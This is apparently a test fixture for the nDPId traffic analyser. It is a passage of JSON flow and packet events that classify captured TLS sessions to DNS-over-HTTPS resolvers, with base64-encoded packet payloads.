{"version":"TLSv1.2","client_requested_server_name":"dns.digitale-gesellschaft.ch","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04349{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":474088,"pkt_caplen":2958,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2958,"pkt_l4_len":2924,"pkt":"ZmZmZmZmRERERERECABFAAuA8Y9AADUG9KG5X9oqCgAAAQG7xbYrbSbwao0RxFAQAfVfuQAAFgMDAHoCAAB2AwMcSuw\/xeEh9B9zohSBYXmLCSdYelc0PZguMzAQLdc5lyDruFBRjE\/ZRtIlov08nzXX8Izc\/f7Ut++FjeF3CgO25xMCAAAuACsAAgMEADMAJAAdACA9LiT1RQf61DUAcNgmrd9PJwh2JRIEeJ2AayVwYZe0VRQDAwABARcDAwAkpkFL6pYrY48v\/7oiAzlOAXfNYnXJT5\/VQ9ye3Jhdgfb\/qFcIFwMDDINDI+OvHUF+FRNUcqHGAtixa5OM3ESWY04brG7N5Xjztm8RaH\/MawsGpkLkwKimhVGQ6ciJhhX175QbHhfhLL45mnkevxxrQGot9ty+fzwVg7GUUCbrsUr32l6TD4OY9EXQQSyuoBvDePneEphgFWs2uB\/zEFQxJzZvf194T3VRrMXZftbpf\/YmEhwWBzhFxCXz7FBI47mE4BFAjuyUMEWUzwiwE55sybcBJQIrcz91caVnRcYmA1Wi1qK5uHVbVaqkF1jIcRZS6+N+xmFq9MBtbs1TttpF6z36PG19i1g1CIx8xl4wpaYvqDA7QOoSL5x3PMqBtb0k4c3Q\/zEwDdawR+TYy7hNCaHkQ1sAWum3cmhRVUAXu9xkbB0O3nyNloM3\/1BpKJAhKkuU\/V2kkZGB6Ql\/kS7sAxcWh603OAJFGoXqcwc2spjFNCK4ea9Hs8PmACV\/UTaJ7lrlVw2HKBfFrLZE4S2HECqocWhjyVs89\/VZtJDOJu7pXlvP6vYnAZ+sKU9FZHgQ29hFtZTpOUnFJKyIZ7qR3IrvVPATpVytUzMEEVKArnVXT6TYqqci\/q+Ob0fbpe70cziyO7QaX7DT+VhBEhzijRbBVrFLadSpyh0XwKqeuShTd5lBEg4jq+0xz6QU3AR+JKO5yFNIu3wqn66JM48D8VfHh\/P6zoK25bt+h0uyMx2Tdvz0o8sXcXOlNbkjxJTj+b3L48sroz1OixQLEwkGWR0YALDiDYZDaGEdLMJeKpDENsvWGjQzbcLGtxojF3IPZE5plenMHHam99lQcz7tOMhTuD0tu9K1ubLwoOk+K9ZSx+jQ\/y8OgEHvmzPhQqCD3uYFzKXprY15BXYSgVl4JkFtCc53KhrIqQpwfu8AGb8d7NaM+YwOO8C5+0rvVtZQVjay20f9c8RH+m7E+z6+gghCL2zO42Qf0EGAmfsmAKXMp6WNxCrd7mkU+MupYWwFGBmLvHH3Vl5XVJZL0bTZyhceC5c2NC8KJ3G3fmI41pUyCIqBiCF4naOVVb20hz4J7t7d4+3vNMlh9pkutkDtBUG\/sopbYKTD6kxhRU0nbMYNcJYsotavdtxk+5ricax8dlXTEQUyVGuU7VzQro6ZTS2J\/N+Dqw0JjCzhzZM4Iy+Zigsyz452Mxwn4H+POZW9AEa8UJIqsMXNYUOgxqdRZORU8gjSaaYtyhn4ZgPLYzJWev+UYEVbkQQlIs0qMsnDALKCKs\/vPLbMaZzLaWAeXOQBcQn6dRdSl1OHdjVYou9K0wNLFmi57+vod9Ufwp9xSCvh3ThgMiLBs9ntZ+DKnnpNK7K++8wDuLBmnbcYEnUZrZqGa8EXM5oLFPSizN87UN+K45Q\/S\/mtl3uxWe3MQN2DDd0vZIT\/pM6xA4vmgKQKhOGh1G\/LsJ4bGVvyfPbVWvvPsPMrkNeqwnVRFRE+JcuPLjNn3DyJRPv6SImnNR3F3p3NDu+U\/bZYbpfAqdtebmwkI6E92\/4EaRwnMS8jUU+nm4J3KxRiQRAHf2ic3MpHIJFU1alZ3UsqHJ6ixFmoZGKJNMub9RVwhhoMDob7lsWG2+BH4aWefcCL1wBXs4NIWJsY2Ws638ztVCok6ObVcpsMJe2l2ribLtt6uLyB1eEKfooGXoxgtbiHn8UI8BDgLRXpCnA7qK7wNCPv\/hXV\/5qObuA7HW\/C2qkSIpV\/R39i9wwVQ1ug1QIQz\/Ivm\/r6WLd0npdZrGVu5GBOJgUSRjnZQS5nqzdQ7xc5efsR5ICHi2XulsD+Zl3WQXVxYViEQMZNQRJCVpPIcx8YSgUINm5M6giDWQvYaHGMiifN+4pLOGo7UDtXSoYcIPou4kTo7mt5yFzAggk8EG0TmExkKN5uy8guvzoGiu3UmP1ayFSZA5TF4Hxgcg+2NpMUwTAvYDD0pW884S8fOW9HXDNECKzwG\/oVVn5NMUQqNCBUKpIkrq4caPrR60LP1G1fKKVz2Mf14oxUS6BYWLwcRFuY6LigPfz3Ch2bE\/jL+itDz+psExENk+g1PfaK4go+YhsmYCnhhZtTocVAIm+qVANsaIE47+Mr\/3qaOf1rseYxdMsxv04vxWH70UAraH7Y4AGe1DhKm55YgPg2VNLv+h443L3JtfuQRH1c2k3TEXhdwCAcDQH9W699eTwV8ntiQTxjZssTXuxQRFgjLr00HeNPNF7n2H9VgT8LsXQAt4\/i29eoQanjq3bUca84pwERHpxJCf8pS1a1KaFzMXvwUcJQOHW0Q\/N1pQGzvCpgH08Dx9GmHQ9KyzJ\/25WSu25QUZfal6F7L79g8iREwvmDUfy2lEv7mGnvWdhk02quVGsRpK9JEZQWo1rmsoDlNw4F7rXwD7R+U4RUfRyKkcbXPHiTg6YeMzcydsycniM9RaMjPPob9n1bk26ufx+9SlvlwwzqBTbOelsik5jIa525vbi5OIQxSrn0plookRa9xUJNwJ0omdn9j\/AW9IsSa86jM4scUrSMFbeKS4NfQDG9J4VYxzdoR7UNco77sa40\/zPWSa52BjRajNWVVhLj2o4JJQ1TdUu1\/Y89xmSzFKfGWeLSDj5A40mFHXGu4ywpzLC8Nndnau8G5aFKzcr\/e\/FYXUsoYZybTLRRgFBh9CldD2TTFeVueuq98o4ZVu+q1YYgsJKBwBBdV7ZQvj9\/cuG60fpzaNEiWJubkXSKKJvv74KXiPSXeDhQYLSS52OcrIzafNPniFrdcohvXMGEBoTJqcVbFo3+5iC13wm4mlmo+quy\/l2iSqCs4wxDhhSbLnO3Mj4Jo+xpM+BWcGCqCQkZM3XVKq9YiLnmUpBqToMdPk8pxszpPKZj1LhkprcBdvtCOBdOnwV08YRjPbT04P1DuRJXM7LDfWyxwk\/Is8GGMA1w6+\/RlaDUJ4QA8kKf62dGdodCfjoiQVkcxdXgak+xv+ho1izHEaG3Cxi3\/0JNNkwi2GYgruxc5fmKOdC4sqtkxC8j7I10mTh3+xdhudUBx0Sfr8yXq66S2KI88KrN3whtG4+sfGtAkvxG1DDMgti4zkfemFnlOATAqP5VRZM6U99yi4VhRBfczJTw1gBFetM1BkbvErs0YQl2nnzhNtTGtufXl2uHH4oKan\/xnak8wRRzvD04JQK431fn3TEvjjqMfQgcgW2JNC7Jyw7AYjY5nB5jUcAvogHpO11F1M9vRMop+cLQefP6yxy73IHNujTUtW4L99fDdjHVHLSrb7JdVLoGFBt3fFHLJFZwGyi73KaVuA8iLogqAdT6WIlJVQpMEOX0IGn7EhGzmKBzxPYnYlqqEBMEmrbIy10AsTQseVjaAzuWns\/HCPxtq5uB5ayh6r0SQlamctp8CNeSGkejLyD9InFUv\/cN6jEeAPw9ln90Uo+NcJcsUJLeRD+0uBhQVWKlzlgFrsdNHfyZgldWogT0yc5biAQ0YsfjTotPSED4mJ044\/CPZYxO\/WG1WatWJcgbBPZpTJOczqp0KaqRJnQpbibu0vaCcUf\/KqPXTh9mQWbhQvkie6BJSQGOWuxP4jMOKd9ZpnBr0kUhcDeMAPaBISZnWKXpcStlkCGJnAAKL5CAgF\/30XUkXB1LxIrTS74Ar8WfurKCvwBWG\/WZugVENhYI47kxJo12a6YH"} +00839{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":10,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":2,"flow_first_seen":946739304432,"flow_last_seen":946739304474,"flow_tot_l4_data_len":3242,"flow_min_l4_data_len":318,"flow_max_l4_data_len":2924,"flow_avg_l4_data_len":1621,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.95.218.42","src_port":50614,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"dns.digitale-gesellschaft.ch","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01548{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":474151,"pkt_caplen":892,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":892,"pkt_l4_len":858,"pkt":"ZmZmZmZmRERERERECABFAANu8ZFAADUG\/LG5X9oqCgAAAQG7xbYrbTJIao0RxFAYAfWPbQAAW0wo1H0j139pBXgBmTX+NlnQSaFEq5K3Pk3KVeGnXpOOLq4X08kQBuG8lGioiVe9QPOeM1XWvGxPlasRKFYrXBH86PGVaXAalDOEWJlV3PHRUUevw5fI6G+9XzuHkGZKTzPpIIOZ3iAzfHnVG3aTpqTBf7xHcc9kM1a8UHbmE4vJrXG9wa2HwWF2bcpsRjUYBUQxiid3MXG7FbSTEXHjqgO4LQdR6Xrrbq+Co3CdY49hyuqnRUiglv3ZkZvp\/BcnFskV9iJiOLBUK+jpAhnIdIbviFi78T5PQD4Tbyt8STzKJ4\/mkCRReunmywmmxKyYx8ErZcAkoKDR9IOJ3LCf8I8uzSUCcTKeSSnHS6ASYLDpWersQuLDgg3Is5Hb+2kMH37wQnKetidHgJqxmhLBaw+NX16ETkRc5vqPLeAmNQjzUjFZW029RGYPrEM\/M2aIcKp372plYpuhFsySXWIydCD9tqNCwZyquQ9nS3XV\/M4rQP8eJtxF8c+LbyHgf4cpoHUgBE4Qg\/rQ8QPjUfA1pwRPb\/2owpEEJi4RutXWP+JydB0D0ebOUJIyGUMSTIpJcFH2AKhLGUYE6NfckNeCzln4nEp2+qOXsbfMejtOZFyyhHVzHpRSbGA51CkajxcDAwEZGvKJBQnU\/r0Z9hIPhFlH3EC+7xZqS+s7+uQ2E96CDW5iU++SeFvwmMtUyG5rZZUMcBGpLzGamrlpIcWB85XVCU4gt4ssg9\/BdLmFwKiGqbmqVBGWt\/8gKtXdyHqS9eDrvNFNLvTrsxnC0XEzuTedB4Vu4WIaC7MUadYnyNgpkYSxjxFL6J71Xhm+92aoteroJN4zzFxDDd8rAkDnu1z+ZiBNnpB\/Gl8e1OMkCP6vsWHqZoCX9H9vn8tgHDIFyxXWqZDdxctsoUH7QrryxeYlvn1njblpv3w6tKj8ghJZAtQ3ko6UuvntUQvQpT48C+AbzDC+CMGpscAjbO2LKlP9fB1a9O37Dse31zOmm1FlQiiQCvlL1EpsgdEXAwMARSV8NSHQ2Cma7zLl9Np9i8ttiytzR2iGli71aKFmLcmNdXIXIfvH2D8Tx5IjanqSAuAMgykIOqh1u3rHE4swCwSQXoiMxQ=="} +00528{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":476319,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB4UVlAAL0GF+AKAAABuV\/aKsW2AbtqjRHEK201jlAYAfVUsQAAFAMDAAEBFwMDAEXf5i7KhTG4S8dv24+5p+S+LhQ+PYyJONVNe1tUvJx\/L+\/9b0i1+dS9lEG6c5mDNHT9GO4jeygeA+4A4wrs7q7eoeKIu20="} +00537{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":476473,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+UVpAAL0GF9kKAAABuV\/aKsW2AbtqjRIUK201jlAYAfVUtwAAFwMDAFG0yPRl5vfYgYrNqN6Xr0RSsU8qyxBJs\/X5WTC1lrz\/gpr+0l90DKKjt1jArHygBMrF84aQB1D6XplQ1nx8u1Fux106dKe9yzC6\/Eneuw2en7U="} +00671{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":476638,"pkt_caplen":235,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":235,"pkt_l4_len":201,"pkt":"REREREREZmZmZmZmCABFAADdUVtAAL0GF3kKAAABuV\/aKsW2AbtqjRJqK201jlAYAfVVFgAAFwMDALAR+rOevaFZ1hGerSsqphnwFB5ZIZHz5bwz\/NY1C89yuFqmSC+WCb23CeN66ZJcuaXazm4oFV\/dL57uHBwFM\/VkQta5Fz6DAclKAd7f82NgLQ4hMtJesUU2Hjt0BZl\/Y+J9B3LKFNnDiw3Sl6kEG\/rPliLLBm8zw7vVHV1N\/1cgvM1AJ2IBM6\/f1dBJEltgb\/UCH8dbd\/QXZRUxBSXOr92+dQF5w0CGtrdtWeWF5nWCog=="} +00525{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":476720,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3UVxAAL0GF94KAAABuV\/aKsW2AbtqjRMfK201jlAYAfVUsAAAFwMDAEpdoR5wJcvMnnoIJWUjsvZ6yczwu5pLMXJpbcG6enDtxGPuwB0rOOkxL9pE+I2uuLfw99wylHgCPSMchfL+dDFgcUsTylQlz4fldA=="} +00526{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":515452,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"ZmZmZmZmRERERERECABFAAB38ZNAADUG\/6a5X9oqCgAAAQG7xbYrbTWOao0TblAYAfU9rwAAFwMDAEo1o7dxaDrWwtHbxdK\/bYIx0cVaitiU8vkoY2kZdC4naV1l5IVugaQvMhYgQKq1OC+8ehM5MHDRK8vvX6dlrwFAz8f6Ut4xNwYvvQ=="} +00526{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":515466,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"ZmZmZmZmRERERERECABFAAB38ZRAADUG\/6W5X9oqCgAAAQG7xbYrbTXdao0TblAYAfVTIQAAFwMDAErse5P1FA3mzZ0cx49r+hxNHxy50CyxPcannKpe3ft\/ECwd2wXHQXfHGQKePC5PalM1X2DdYyeOXWV++woxJUKzaSqyDAQvG2feUA=="} +00533{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":515609,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ZmZmZmZmRERERERECABFAAB88ZVAADUG\/5+5X9oqCgAAAQG7xbYrbTYsao0TblAYAfU0wAAAFwMDAE8excIlDzlU5G2Df5nerhuvZ0C4wd8qBt6VrWsuqtVx2Jr0qMCasmh9cTG17e8aP5s4PJzl1Ak7zdHju72ZUc4T\/CFFK8lnq96T4\/rYdvDw"} +00460{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":515719,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHUV5AAL0GGAwKAAABuV\/aKsW2AbtqjRNuK202gFAYAfVUgAAAFwMDABrEBKTE+klfT6lD0c+WMHiGtt5WGOmKlylRzw=="} +01485{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":516431,"pkt_caplen":840,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":840,"pkt_l4_len":806,"pkt":"ZmZmZmZmRERERERECABFAAM68ZZAADUG\/OC5X9oqCgAAAQG7xbYrbTaAao0TblAYAfVJtwAAFwMDAw3hkZzqLdtwmUwzQTu6\/6b9eQ98aGWrRyfYZoLa0v+XuOiUW9wMxt3y8MrY4BeP4daQvwCEqzPLm5lGLoQFEFVk0kl3YaA2KlwLspftELzYcBudmae0vrdSnXRF1y5CYhAZcYS0e9qG2v0n+oWvb\/RNTjIqXOmDF5qg5vWxKvTSNKOcsqic7BKddMjAM\/SFnBC2naCZF7b0JRCwEtKRRB1Q+Ki67VfaKOGhRSSjAOmbrdJkDA94+s2vXBmoBZt\/szutAkLtzvR\/XdUA3iM3jWH3bzu89hWwoOP1lxSCJwT2\/d7n7QBRMsILgWtTDtfLT69vXTi0N79bLB\/8EhqfbKIhm4K9CG+JnettepJ\/HBoq7JmPEcSM25eY4ZDZEFQ6d1vV3HhJQUHxT+zh2U\/hSeQPFoQFiDv0UsyKl+pIQIMIoFPOcxMWCuVGWC7QY7qRhOTtkVgXgvbZhN69B4FLUQ1zEwEoEXOFHjb3uA1oCNDXJWKN46P5TG0EPYXw3nNRB3JNYavIgLa5H6g+2g5SY\/qVSQfNx6ysG3\/bqkf5IkwMEp4crmW5PjI+II5IoKCpN2xd\/5xdX8ab3\/GTcoouVtme5l3wXGvGWz6JDfykeDJbUFjcxEmoFNyVOBmvQNKywhRrpEA7ZWYLT2LZPLdYxHwDADkicaNBSiOgn9WkadYI1n1xB3roI6ISsdZfdty8+hApRbQA6UrEOB9i2cf0RFbrHdLVUsdtr1NTzWjsjBYSvE1WSJjHJ81x7VveGydrpUY6xylR8pk4+YqNGZynacCI\/+Qkh0MxQfx84T\/yCy41lCHFyJn24f9Hz\/dz6DQsjeckevstFxvDZCW6PpjWViZPmy0B\/FlKK2cSicGgzHozEu54PFnjJfTq0K5XEAhNkk4z7Z4y5esBcluYYr0HCR6eSDi+szv1tZMzWKqaFs9++ajenUvR8XUSe90ed5Y7Ob3ttxeJOc04kP8Wm3ONmXO0leNBj2i\/wvA2bmBJUJGCPETfaWNMbT2CWOen+bSwePdeDHs+l8IGBMZB8sJJ"} +00460{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":516599,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABH8ZdAADUG\/9K5X9oqCgAAAQG7xbYrbTmSao0TblAYAfXKPwAAFwMDABq2w+EgNw1Uc4R5UXmOYRclitVqGcW6tjqy7Q=="} +00565{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":517294,"pkt_caplen":160,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":160,"pkt_l4_len":126,"pkt":"REREREREZmZmZmZmCABFAACSUWBAAL0GF78KAAABuV\/aKsW2AbtqjRONK205sVAYAfVUywAAFwMDAGXrvgAlUHCjITpl4KMASatmqna9e\/E+FqvmZh7UxJcnge5ROlIX9hZsf4Ya92Ea2RROdlp098UA+mdHl5vxFOf1boQLJpYUnuHc3BdCsWdWSLwcpgO\/rDPjVLlI4Me24bd9SJzWTg=="} +00569{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":535061,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWUWFAAL0GF7oKAAABuV\/aKsW2AbtqjRP3K205sVAYAfVUzwAAFwMDAGlo6TRtzKG2Adwzj03nWd9OaygWX7gjGe9hX13CVMXOcFy2nYCY6j\/80gf5Bt1OkzQH0vPzsKbCxgckIEET7XKmYgeG2kNLad+9Ya0NpTF2SiB0RB7Qw\/V29rzYCtSBJC6ss51HwxxhdQ0="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":27,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":946739304846,"flow_last_seen":0,"flow_tot_l4_data_len":310,"flow_min_l4_data_len":310,"flow_max_l4_data_len":310,"flow_avg_l4_data_len":310,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.147.50","src_port":55962,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00810{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":846437,"pkt_caplen":344,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":344,"pkt_l4_len":310,"pkt":"REREREREZmZmZmZmCABFAAFKCqJAAL0GKn8KAAABM56TMtqaAbsV\/EiYhf03fVAYAfaIyQAAFgMBAR0BAAEZAwMDM0zFcZBVaq8jarHhMnn706tDCSlU6qIcSdmbVQbksCDb4Qi2Yz\/q0+XeTvQ9QWQ6+8m8vlFJqWD30N7xMHe76AAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACqAAAAGQAXAAAUcmVzb2x2ZXItZXUubGVsdXguZmkABQAFAQAAAAAACgAKAAgAHQAXABgAGQALAAIBAAANABoAGAgEBAMIBwgFCAYEAQUBBgEFAwYDAgECA\/8BAAEAABAADgAMAmgyCGh0dHAvMS4xABIAAAArAAkIAwQDAwMCAwEAMwAmACQAHQAgp73dM21LptFd0ThW7be4\/uwlUqgVJQtqqMQYrFbmEGQ="} +00778{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":27,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":946739304846,"flow_last_seen":0,"flow_tot_l4_data_len":310,"flow_min_l4_data_len":310,"flow_max_l4_data_len":310,"flow_avg_l4_data_len":310,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.147.50","src_port":55962,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"resolver-eu.lelux.fi","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04667{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":885416,"pkt_caplen":3185,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3185,"pkt_l4_len":3151,"pkt":"ZmZmZmZmRERERERECABFAAxjgA1AADcGL\/sznpMyCgAAAQG72pqF\/Td9FfxJulAYAfWT4gAAFgMDAHoCAAB2AwOQkeJmPgfI+2\/Nb2YFPwnrh6xqnBenx5u8q1ZnyWqFbyDb4Qi2Yz\/q0+XeTvQ9QWQ6+8m8vlFJqWD30N7xMHe76BMBAAAuACsAAgMEADMAJAAdACAildRAk\/Ii9q568Shy0jK1lY4Sb1nfErCeFDdP5ao6KBQDAwABARcDAwAkQtxzjO6Y1fKC\/+pxVLm\/ix+V3OPJ68RUn+6KLdAjN0rm7jqVFwMDCjCAB4dDMRsvk08LXpiehq\/g9vbt8WAZZyX0IwUW7zm2s2JxksqGXN7MA4aQXMsXbea79jo4WvO3p6dz8ckR6\/GSVEFX2o1gGE3SmFE8bI1yIk7FWs3aYgxYwqLKQEvbN1ogdjJ6GVf+z5kiMwtt12G5tdTf7rSfZ3NH6Yk4oM8Elpl9VtGpp2o0FPfY8QB0bMd4GPEVRd4k3sqTgevSs5A\/CC4vXXDNw8uBoNAhPcBJ041jkXgJVSYm9QwFsJI4LdQTSOvpWGu8g3Q7\/FqYiPFofKEmMJ\/qdjv4rC472QK9MBOUQREh1M+X1zwZya0Ac0YwCKyp0B6QV8x8ZfPc4YWcPVw\/CzcsYjigSbp5JV0L4gyAue9Gh6S3YYS9bSWcQ6OYfhcUgIVrottiHisZ3rFZLnhHY2SXkUzy2eOnD3Qi87\/nZ2OjGdHVYvM8Yu4DBGax+k0RD3dyn9+WKeU6QKdkf0bt\/mxpZ+gCW+joqGHWhH8T8mliVYu97Vp1QkdwgpRB7hXYN0Y6CGFsBPw4pzAHjVBFBgDGgx3FLp+jHtYGS4QJXS1JHRsP\/ek1Bjr6PmHXQaaRrJ7LWjgQKI7Gha0EZqsq38SOF+eicMwDFpzc3B+5eNIjmjJW4NSel0FytKTt9ojc0NWkn0EYaG0EgY6+6x2nvzg5YX9tM13wZT\/oz2Ot9pPHCaabuHca2dbfesbpNetZkot4ox97XYVrqgngmst1PfSQmtM98M5ptnPmd\/sO4Q2zmY5zCyE4gqZJ\/jBMttfXco2\/5avcH7mX5ejSI27aNnLJexzSKXQ+JaOKITzvIhr9MApYef8a6mxmBG7KvaOHtWpBt2xvsdwkyGKaTSFivERAQJ3qVVpBnDVBNegKy8yEp45YgbraKILphly37eCzmeR8+BDQHM0\/olAhROBUZh\/RONZXvUkl5SKTRjHC2xvJNaeZYZ+hmdzytY6JxtjOWIkXJWGOQ1NLnp8ApIWyE\/uNNjzCwSksu7oipiMjp9\/TYKv3dTCD+5Ol7BQVVV99RWf0LzZ8iQzJsQx4OWgFzyT+Rx7ZVNnTGOrqRbAycjVipQHP7zlio12QWc9UNzJCxesOye7ivdDzyOxpzywnD3v8hSp\/9zPmf\/3ENHJgy8O34UUO06MOahgiokayYgWdjmVbemjxT1TryYu0gDna\/E6EV3qm9EmJk3uwiz6F8MD8T978R+EclF8jScCvS+0rc0myMoeeGSKvHZ59\/bY\/8uMlpK\/glxn4tf2FrEjMiwTYfD\/iCofxemvMkvC\/JJfgLtIuT4eRwYnzHY6tx9RKYdE3USzn4\/mm5qo5iJNIvjNV0kDlflg2at\/H0LoUPuAQDzKEIijJENcZ6pth1tAfPuzZbqzQybao7+N7tXszvfJs6XQ8U0IN8EKUruqqe63LmjAuODDmoGi5l1XKUHloz2N6Z0c6GOIMVwe3VD3oKEzis5\/IqukPTBIlPi3wM9hPvIjDsgqHeQuZwd0P2uGkmxxX+CQ\/eHLZcMkC6yXGIsoms\/DqqMmKImF+\/kg3KVbsOWynlp+qs+GRnuEe5Gwcck3bNa